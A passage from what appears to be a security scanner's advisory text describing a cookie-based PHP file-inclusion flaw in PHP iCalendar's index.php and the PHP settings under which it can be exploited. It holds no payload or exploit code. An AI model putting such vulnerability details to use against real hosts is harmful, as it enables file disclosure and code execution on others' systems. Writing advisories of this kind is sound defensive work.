sanitize the 'phpicalendar' cookie before using it in 'index.php' to
include PHP code from a separate file.  By leveraging this flaw, an
unauthenticated attacker may be able to view arbitrary files on the
remote host and execute arbitrary PHP code, possibly taken from
third-party hosts.  Successful exploitation requires that PHP's
'magic_quotes' setting be disabled, that its 'allow_url_fopen' setting
be enabled, or that an attacker be able to place PHP files on the
remote host." );
